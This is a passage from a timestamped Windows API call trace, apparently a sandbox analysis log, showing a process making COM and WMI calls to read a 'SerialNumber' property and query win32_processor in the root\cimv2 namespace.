pptlib=0x1de624*=0x0 | out: pptlib=0x1de624*=0x8ba148) returned 0x0 [0126.308] ITypeLib:GetTypeInfoOfGuid (in: This=0x8ba148, GUID=0x5060940, ppTInfo=0x5060934 | out: ppTInfo=0x5060934*=0x8bbd78) returned 0x0 [0126.308] IUnknown:Release (This=0x8ba148) returned 0x4 [0126.308] IUnknown:AddRef (This=0x8bbd78) returned 0x2 [0126.308] ITypeInfo:LocalInvoke (This=0x8bbd78) returned 0x0 [0126.308] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.308] GetCurrentThreadId () returned 0x71c [0126.308] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060810 [0126.309] IUnknown:Release (This=0x8bbd78) returned 0x1 [0126.309] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0126.808] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x8a2488 [0126.809] GetLastError () returned 0x0 [0126.809] GetLastError () returned 0x0 [0126.830] CoGetContextToken (in: pToken=0x1de4e4 | out: pToken=0x1de4e4) returned 0x0 [0126.840] CoGetContextToken (in: pToken=0x1de108 | out: pToken=0x1de108) returned 0x0 [0126.840] IUnknown:AddRef (This=0x8bbd78) returned 0x2 [0126.840] ITypeInfo:LocalInvoke (This=0x8bbd78) returned 0x0 [0126.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.841] GetCurrentThreadId () returned 0x71c [0126.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.841] GetCurrentThreadId () returned 0x71c [0126.841] IUnknown:AddRef (This=0x506d51c) returned 0x3 [0126.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.841] GetCurrentThreadId () returned 0x71c [0126.841] IEnumWbemClassObject:Clone (in: This=0x506d51c, ppEnum=0x1de0f8 | out: ppEnum=0x1de0f8*=0x506d5e4) returned 0x0 [0126.843] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506d620 [0126.844] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506d680 [0126.844] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506d6e0 [0126.844] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506c988 [0126.844] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506d740 [0126.844] IUnknown:QueryInterface (in: This=0x506d5e4, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de010 | out: ppvObject=0x1de010*=0x506d5e8) returned 0x0 [0126.844] IClientSecurity:QueryBlanket (in: This=0x506d5e8, pProxy=0x506d5e4, pAuthnSvc=0x1de000, pAuthzSvc=0x1de004, pServerPrincName=0x0, pAuthnLevel=0x1de02c, pImpLevel=0x1de028, pAuthInfo=0x0, pCapabilites=0x1de018 | out: pAuthnSvc=0x1de000*=0xa, pAuthzSvc=0x1de004*=0x0, pServerPrincName=0x0, pAuthnLevel=0x1de02c*=0x6, pImpLevel=0x1de028*=0x2, pAuthInfo=0x0, pCapabilites=0x1de018*=0x1) returned 0x0 [0126.844] IUnknown:Release (This=0x506d5e8) returned 0x1 [0126.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.844] GetCurrentThreadId () returned 0x71c [0126.844] IUnknown:QueryInterface (in: This=0x506d51c, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddff4 | out: ppvObject=0x1ddff4*=0x506d520) returned 0x0 [0126.844] IClientSecurity:QueryBlanket (in: This=0x506d520, pProxy=0x506d51c, pAuthnSvc=0x1ddfe4, pAuthzSvc=0x1ddfe8, pServerPrincName=0x0, pAuthnLevel=0x1de014, pImpLevel=0x1de018, pAuthInfo=0x0, pCapabilites=0x1ddffc | out: pAuthnSvc=0x1ddfe4*=0xa, pAuthzSvc=0x1ddfe8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x1de014*=0x6, pImpLevel=0x1de018*=0x3, pAuthInfo=0x0, pCapabilites=0x1ddffc*=0x20) returned 0x0 [0126.844] IUnknown:Release (This=0x506d520) returned 0x3 [0126.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.844] GetCurrentThreadId () returned 0x71c [0126.844] IUnknown:QueryInterface (in: This=0x506d51c, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddff4 | out: ppvObject=0x1ddff4*=0x506d520) returned 0x0 [0126.844] IClientSecurity:QueryBlanket (in: This=0x506d520, pProxy=0x506d51c, pAuthnSvc=0x1ddfe4, pAuthzSvc=0x1ddfe8, pServerPrincName=0x0, pAuthnLevel=0x1de018, pImpLevel=0x1de014, pAuthInfo=0x0, pCapabilites=0x1ddffc | out: pAuthnSvc=0x1ddfe4*=0xa, pAuthzSvc=0x1ddfe8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x1de018*=0x6, pImpLevel=0x1de014*=0x3, pAuthInfo=0x0, pCapabilites=0x1ddffc*=0x20) returned 0x0 [0126.844] IUnknown:Release (This=0x506d520) returned 0x3 [0126.844] IUnknown:QueryInterface (in: This=0x506d5e4, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de040 | out: ppvObject=0x1de040*=0x506d5e8) returned 0x0 [0126.844] IClientSecurity:CopyProxy (in: This=0x506d5e8, pProxy=0x506d5e4, ppCopy=0x1de044 | out: ppCopy=0x1de044*=0x506d884) returned 0x0 [0126.845] IUnknown:QueryInterface (in: This=0x506d884, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddf5c | out: ppvObject=0x1ddf5c*=0x506d888) returned 0x0 [0126.845] IClientSecurity:QueryBlanket (in: This=0x506d888, pProxy=0x506d884, pAuthnSvc=0x1ddf80, pAuthzSvc=0x1ddf70, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x1ddf80*=0xa, pAuthzSvc=0x1ddf70*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0126.845] IUnknown:Release (This=0x506d888) returned 0x3 [0126.845] IUnknown:QueryInterface (in: This=0x506d884, riid=0x74fc34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddf34 | out: ppvObject=0x1ddf34*=0x8bdfbc) returned 0x0 [0126.845] IUnknown:QueryInterface (in: This=0x506d884, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddf38 | out: ppvObject=0x1ddf38*=0x506d888) returned 0x0 [0126.845] IClientSecurity:SetBlanket (This=0x506d888, pProxy=0x506d884, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0126.847] IUnknown:Release (This=0x506d888) returned 0x4 [0126.847] WbemLocator:IUnknown:Release (This=0x8bdfbc) returned 0x3 [0126.847] IUnknown:Release (This=0x506d5e8) returned 0x2 [0126.847] IUnknown:AddRef (This=0x506d884) returned 0x3 [0126.847] IUnknown:Release (This=0x506d5e4) returned 0x2 [0126.847] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x1de0b0 | out: pperrinfo=0x1de0b0*=0x0) returned 0x1 [0126.847] IUnknown:Release (This=0x506d51c) returned 0x2 [0126.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.847] GetCurrentThreadId () returned 0x71c [0126.847] IUnknown:AddRef (This=0x506d884) returned 0x3 [0126.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.847] GetCurrentThreadId () returned 0x71c [0126.847] IEnumWbemClassObject:Reset (This=0x506d884) returned 0x0 [0126.848] IUnknown:Release (This=0x506d884) returned 0x2 [0126.848] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060810 [0126.848] IUnknown:Release (This=0x8bbd78) returned 0x1 [0126.848] CoGetContextToken (in: pToken=0x1ddb70 | out: pToken=0x1ddb70) returned 0x0 [0126.848] CoGetContextToken (in: pToken=0x1ddb34 | out: pToken=0x1ddb34) returned 0x0 [0126.848] IUnknown:QueryInterface (in: This=0x8793d0, riid=0x74b33ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddb68 | out: ppvObject=0x1ddb68*=0x8793dc) returned 0x0 [0126.849] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8793dc, pAptType=0x1ddb98 | out: pAptType=0x1ddb98*=3) returned 0x0 [0126.849] IUnknown:Release (This=0x8793dc) returned 0x1 [0126.849] CoGetContextToken (in: pToken=0x1ddb68 | out: pToken=0x1ddb68) returned 0x0 [0126.852] CoGetContextToken (in: pToken=0x1de624 | out: pToken=0x1de624) returned 0x0 [0126.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.852] GetCurrentThreadId () returned 0x71c [0126.852] IUnknown:AddRef (This=0x506d884) returned 0x3 [0126.852] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.852] GetCurrentThreadId () returned 0x71c [0126.852] IEnumWbemClassObject:Next (in: This=0x506d884, lTimeout=-1, uCount=0x1, apObjects=0x1de75c, puReturned=0x1de754 | out: apObjects=0x1de75c*=0x506d8c0, puReturned=0x1de754*=0x1) returned 0x0 [0126.855] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506c908 [0126.855] IUnknown:AddRef (This=0x506d8c0) returned 0x2 [0126.855] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506fbd0 [0126.855] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506fc40 [0126.855] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506fca0 [0126.855] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506c9c8 [0126.855] WbemLocator:IUnknown:AddRef (This=0x506d304) returned 0x3 [0126.855] IUnknown:AddRef (This=0x506d884) returned 0x4 [0126.855] IUnknown:QueryInterface (in: This=0x506d884, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de6bc | out: ppvObject=0x1de6bc*=0x506d888) returned 0x0 [0126.855] IClientSecurity:QueryBlanket (in: This=0x506d888, pProxy=0x506d884, pAuthnSvc=0x1de6ac, pAuthzSvc=0x1de6b0, pServerPrincName=0x0, pAuthnLevel=0x1de6cc, pImpLevel=0x1de6d8, pAuthInfo=0x0, pCapabilites=0x1de6c4 | out: pAuthnSvc=0x1de6ac*=0xa, pAuthzSvc=0x1de6b0*=0x0, pServerPrincName=0x0, pAuthnLevel=0x1de6cc*=0x6, pImpLevel=0x1de6d8*=0x3, pAuthInfo=0x0, pCapabilites=0x1de6c4*=0x20) returned 0x0 [0126.855] IUnknown:Release (This=0x506d888) returned 0x4 [0126.855] WbemLocator:IUnknown:Release (This=0x506d304) returned 0x2 [0126.856] WbemLocator:IUnknown:AddRef (This=0x506d304) returned 0x3 [0126.856] IUnknown:Release (This=0x506d884) returned 0x3 [0126.856] SysStringLen (param_1="\\\\.\\root\\cimv2") returned 0xe [0126.856] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506bd98 [0126.856] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506c9e8 [0126.856] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x50609d8 [0126.856] IUnknown:AddRef (This=0x506d8c0) returned 0x3 [0126.856] IUnknown:Release (This=0x506d8c0) returned 0x2 [0126.856] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x1de710 | out: pperrinfo=0x1de710*=0x0) returned 0x1 [0126.856] IUnknown:Release (This=0x506d884) returned 0x2 [0126.856] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x1de754 | out: pperrinfo=0x1de754*=0x0) returned 0x1 [0126.858] LoadRegTypeLib (in: rguid=0x74fc364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x1ddfc4*=0x0 | out: pptlib=0x1ddfc4*=0x8ba148) returned 0x0 [0126.860] ITypeLib:GetTypeInfoOfGuid (in: This=0x8ba148, GUID=0x74fd70c4, ppTInfo=0x506bdb4 | out: ppTInfo=0x506bdb4*=0x8bbdfc) returned 0x0 [0126.860] IUnknown:Release (This=0x8ba148) returned 0x5 [0126.860] IUnknown:AddRef (This=0x8bbdfc) returned 0x2 [0126.860] ITypeInfo:RemoteGetTypeAttr (in: This=0x8bbdfc, ppTypeAttr=0x1de018, pDummy=0xa6615471 | out: ppTypeAttr=0x1de018, pDummy=0xa6615471) returned 0x0 [0126.861] ITypeInfo:LocalReleaseTypeAttr (This=0x8bbdfc) returned 0x8b0398 [0126.861] IUnknown:Release (This=0x8bbdfc) returned 0x1 [0126.861] CoGetContextToken (in: pToken=0x1ddfa4 | out: pToken=0x1ddfa4) returned 0x0 [0126.861] CoGetContextToken (in: pToken=0x1ddf68 | out: pToken=0x1ddf68) returned 0x0 [0126.861] IUnknown:QueryInterface (in: This=0x8793d0, riid=0x74b33ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddf9c | out: ppvObject=0x1ddf9c*=0x8793dc) returned 0x0 [0126.861] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8793dc, pAptType=0x1ddfcc | out: pAptType=0x1ddfcc*=3) returned 0x0 [0126.861] IUnknown:Release (This=0x8793dc) returned 0x1 [0126.861] CoGetContextToken (in: pToken=0x1ddf9c | out: pToken=0x1ddf9c) returned 0x0 [0126.862] CoGetContextToken (in: pToken=0x1de368 | out: pToken=0x1de368) returned 0x0 [0126.863] LoadRegTypeLib (in: rguid=0x74fc364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x1de348*=0x0 | out: pptlib=0x1de348*=0x8ba148) returned 0x0 [0126.865] ITypeLib:GetTypeInfoOfGuid (in: This=0x8ba148, GUID=0x74fc55e4, ppTInfo=0x506bdb0 | out: ppTInfo=0x506bdb0*=0x8bbe28) returned 0x0 [0126.865] IUnknown:Release (This=0x8ba148) returned 0x6 [0126.865] IUnknown:AddRef (This=0x8bbe28) returned 0x2 [0126.865] DispGetIDsOfNames (in: ptinfo=0x8bbe28, rgszNames=0x1de3c0*="SerialNumber", cNames=0x1, rgdispid=0x1de3b0 | out: rgdispid=0x1de3b0*=-1) returned 0x80020006 [0126.871] IUnknown:AddRef (This=0x506d8c0) returned 0x3 [0126.871] IWbemClassObject:Get (in: This=0x506d8c0, wszName="SerialNumber", lFlags=0, pVal=0x0, pType=0x0, plFlavor=0x1de2d0*=0 | out: pVal=0x0, pType=0x0, plFlavor=0x1de2d0*=0) returned 0x0 [0126.871] IUnknown:Release (This=0x506d8c0) returned 0x2 [0126.871] SysStringLen (param_1="SerialNumber") returned 0xc [0126.871] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060a40 [0126.871] SysStringLen (param_1="SerialNumber") returned 0xc [0126.872] IUnknown:Release (This=0x8bbe28) returned 0x1 [0126.872] IUnknown:AddRef (This=0x8bbe28) returned 0x2 [0126.872] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.872] GetCurrentThreadId () returned 0x71c [0126.872] SysStringLen (param_1="SerialNumber") returned 0xc [0126.872] IWbemClassObject:Get (in: This=0x506d8c0, wszName="SerialNumber", lFlags=0, pVal=0x1de158*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1de190, varVal2=0x74fc2d81), pType=0x1de168*=1962683782, plFlavor=0x0 | out: pVal=0x1de158*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\"1\"", varVal2=0x74fc2d81), pType=0x1de168*=8, plFlavor=0x0) returned 0x0 [0126.872] IUnknown:Release (This=0x8bbe28) returned 0x1 [0126.872] SysStringLen (param_1="\"1\"") returned 0x3 [0126.874] CoGetContextToken (in: pToken=0x1de624 | out: pToken=0x1de624) returned 0x0 [0126.874] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.874] GetCurrentThreadId () returned 0x71c [0126.874] IUnknown:AddRef (This=0x506d884) returned 0x3 [0126.874] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.874] GetCurrentThreadId () returned 0x71c [0126.874] IEnumWbemClassObject:Next (in: This=0x506d884, lTimeout=-1, uCount=0x1, apObjects=0x1de75c, puReturned=0x1de754 | out: apObjects=0x1de75c*=0x0, puReturned=0x1de754*=0x0) returned 0x1 [0126.875] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x1de710 | out: pperrinfo=0x1de710*=0x0) returned 0x1 [0126.875] IUnknown:Release (This=0x506d884) returned 0x2 [0126.875] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x1de754 | out: pperrinfo=0x1de754*=0x0) returned 0x1 [0126.982] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x27c [0126.982] GetLastError () returned 0x0 [0126.983] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x284 [0126.983] GetLastError () returned 0x0 [0126.997] SetEvent (hEvent=0x284) returned 1 [0126.998] GetLastError () returned 0x0 [0127.025] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1de760*=0x27c, lpdwindex=0x1de518 | out: lpdwindex=0x1de518) returned 0x0 [0127.050] CoGetContextToken (in: pToken=0x1de5b0 | out: pToken=0x1de5b0) returned 0x0 [0127.050] CoGetContextToken (in: pToken=0x1de570 | out: pToken=0x1de570) returned 0x0 [0127.050] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de5ec*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5e8 | out: ppvObject=0x1de5e8*=0x506fd10) returned 0x0 [0127.050] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.050] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.051] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2bc [0127.051] GetLastError () returned 0x0 [0127.051] SetEvent (hEvent=0x284) returned 1 [0127.051] GetLastError () returned 0x0 [0127.051] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1ddf84*=0x2bc, lpdwindex=0x1ddd3c | out: lpdwindex=0x1ddd3c) returned 0x0 [0127.054] CoGetContextToken (in: pToken=0x1dddd4 | out: pToken=0x1dddd4) returned 0x0 [0127.054] CoGetContextToken (in: pToken=0x1ddd94 | out: pToken=0x1ddd94) returned 0x0 [0127.054] WbemDefPath:IUnknown:AddRef (This=0x506fda8) returned 0x2 [0127.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fda8, riid=0x1dde10*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1dde0c | out: ppvObject=0x1dde0c*=0x506fda8) returned 0x0 [0127.054] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x2 [0127.054] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x1 [0127.060] CoGetContextToken (in: pToken=0x1dde54 | out: pToken=0x1dde54) returned 0x0 [0127.060] CoGetContextToken (in: pToken=0x1dde14 | out: pToken=0x1dde14) returned 0x0 [0127.060] WbemDefPath:IUnknown:AddRef (This=0x506fda8) returned 0x2 [0127.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fda8, riid=0x1dde90*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1dde8c | out: ppvObject=0x1dde8c*=0x506fda8) returned 0x0 [0127.061] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x2 [0127.061] WbemDefPath:IWbemPath:SetText (This=0x506fda8, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0127.061] WbemDefPath:IUnknown:Release (This=0x506fda8) returned 0x1 [0127.061] CoGetContextToken (in: pToken=0x1de630 | out: pToken=0x1de630) returned 0x0 [0127.061] CoGetContextToken (in: pToken=0x1de5f0 | out: pToken=0x1de5f0) returned 0x0 [0127.061] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de66c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de668 | out: ppvObject=0x1de668*=0x506fd10) returned 0x0 [0127.061] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.061] WbemDefPath:IWbemPath:SetText (This=0x506fd10, uMode=0x4, pszPath="win32_processor") returned 0x0 [0127.061] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.065] CoGetContextToken (in: pToken=0x1de61c | out: pToken=0x1de61c) returned 0x0 [0127.065] CoGetContextToken (in: pToken=0x1de5dc | out: pToken=0x1de5dc) returned 0x0 [0127.066] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de658*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de654 | out: ppvObject=0x1de654*=0x506fd10) returned 0x0 [0127.066] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.066] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x506fd10, puCount=0x1de7d0 | out: puCount=0x1de7d0*=0x0) returned 0x0 [0127.066] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.069] CoGetContextToken (in: pToken=0x1de60c | out: pToken=0x1de60c) returned 0x0 [0127.069] CoGetContextToken (in: pToken=0x1de5cc | out: pToken=0x1de5cc) returned 0x0 [0127.069] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de648*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de644 | out: ppvObject=0x1de644*=0x506fd10) returned 0x0 [0127.069] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.069] WbemDefPath:IWbemPath:GetText (in: This=0x506fd10, lFlags=2, puBuffLength=0x1de7cc*=0x0, pszText=0x0 | out: puBuffLength=0x1de7cc*=0x10, pszText=0x0) returned 0x0 [0127.070] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.070] CoGetContextToken (in: pToken=0x1de60c | out: pToken=0x1de60c) returned 0x0 [0127.070] CoGetContextToken (in: pToken=0x1de5cc | out: pToken=0x1de5cc) returned 0x0 [0127.070] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de648*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de644 | out: ppvObject=0x1de644*=0x506fd10) returned 0x0 [0127.070] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.070] WbemDefPath:IWbemPath:GetText (in: This=0x506fd10, lFlags=2, puBuffLength=0x1de7cc*=0x10, pszText="000000000000000" | out: puBuffLength=0x1de7cc*=0x10, pszText="win32_processor") returned 0x0 [0127.070] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.074] CoGetContextToken (in: pToken=0x1de620 | out: pToken=0x1de620) returned 0x0 [0127.074] CoGetContextToken (in: pToken=0x1de5e0 | out: pToken=0x1de5e0) returned 0x0 [0127.074] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de65c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de658 | out: ppvObject=0x1de658*=0x506fd10) returned 0x0 [0127.074] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.074] WbemDefPath:IWbemPath:GetInfo (in: This=0x506fd10, uRequestedInfo=0x0, puResponse=0x1de7d4 | out: puResponse=0x1de7d4*=0xc15) returned 0x0 [0127.074] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.075] CoGetContextToken (in: pToken=0x1de61c | out: pToken=0x1de61c) returned 0x0 [0127.075] CoGetContextToken (in: pToken=0x1de5dc | out: pToken=0x1de5dc) returned 0x0 [0127.075] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de658*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de654 | out: ppvObject=0x1de654*=0x506fd10) returned 0x0 [0127.075] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.075] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x506fd10, puCount=0x1de7d0 | out: puCount=0x1de7d0*=0x0) returned 0x0 [0127.075] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.075] CoGetContextToken (in: pToken=0x1de620 | out: pToken=0x1de620) returned 0x0 [0127.075] CoGetContextToken (in: pToken=0x1de5e0 | out: pToken=0x1de5e0) returned 0x0 [0127.075] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de65c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de658 | out: ppvObject=0x1de658*=0x506fd10) returned 0x0 [0127.075] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.075] WbemDefPath:IWbemPath:GetInfo (in: This=0x506fd10, uRequestedInfo=0x0, puResponse=0x1de7d4 | out: puResponse=0x1de7d4*=0xc15) returned 0x0 [0127.076] 